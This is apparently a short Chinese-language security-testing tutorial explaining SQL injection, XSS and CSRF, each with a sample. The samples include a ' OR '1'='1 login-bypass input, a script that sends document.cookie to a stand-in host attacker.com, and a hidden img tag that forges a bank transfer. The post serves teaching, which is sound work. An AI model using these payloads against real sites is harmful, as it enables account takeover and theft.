大家好,我是阿萨。安全测试常见的SQL注入,跨站脚本攻击以及跨站请求伪造这三个经常有人分不清楚。今天就澄清一下概念,并举例说明这三个分别是什么。
SQL注入 (SQL Injection)
SQL注入是一种安全漏洞,攻击者通过在输入字段中插入或 "注入" SQL代码,来操作或操纵后端数据库。如果一个应用程序没有正确地处理这些输入,这可能会导致未授权的数据查看,数据操纵,甚至是完全的数据库控制。
例如:
如果一个登录表单的后端SQL查询是这样的:
```sql SELECT * FROM users WHERE username = '[username]' AND password = '[password]' ```
攻击者可以在用户名或密码字段中输入以下内容:
```text ' OR '1'='1 ```
这样,如果应用程序没有正确地处理或转义这些输入,那么SQL查询将变成:
```sql SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' ```
因为 `'1'='1'` 总是为真,所以这将返回所有的用户,允许攻击者无需密码即可登录。
跨站脚本 (Cross-Site Scripting, XSS)
跨站脚本是一种安全漏洞,它允许攻击者注入恶意脚本到受害者的浏览器中。这些脚本可以访问和操纵页面上的任何信息,包括敏感信息如session cookies。
例如:
如果一个网站允许用户在评论中输入HTML,并且这些输入没有被适当地处理或转义,那么攻击者可以输入以下内容:
```html document.location='https://attacker.com/steal.php?cookie='+document.cookie; ```
这个脚本会将用户的cookies发送到攻击者控制的网站,攻击者可以用这些cookies来模拟用户的session,获取到他们的账户。
跨站请求伪造 (Cross-Site Request Forgery, CSRF)
跨站请求伪造是一种攻击,攻击者诱使受害者执行他们并不想要的操作。这通常涉及到利用用户已经登录的session,来在他们不知情的情况下执行操作。
例如:
如果一个网站有一个URL,如 `http://bank.com/transfer?to=account&amount=1000`,用于转账,攻击者可以在他们控制的网站上放置以下HTML:
```html < img /src="http://bank.com/transfer?to=attacker&amount=1000" width="0" height="0" /> ```
如果受害者在他们的银行网站上有一个有效的session,然后访问了攻击者的网站,那么他们的浏览器将会尝试加载这个 "图片",从而在他们不知情的情况下进行转账操作。
看完例子后,你清楚了吗?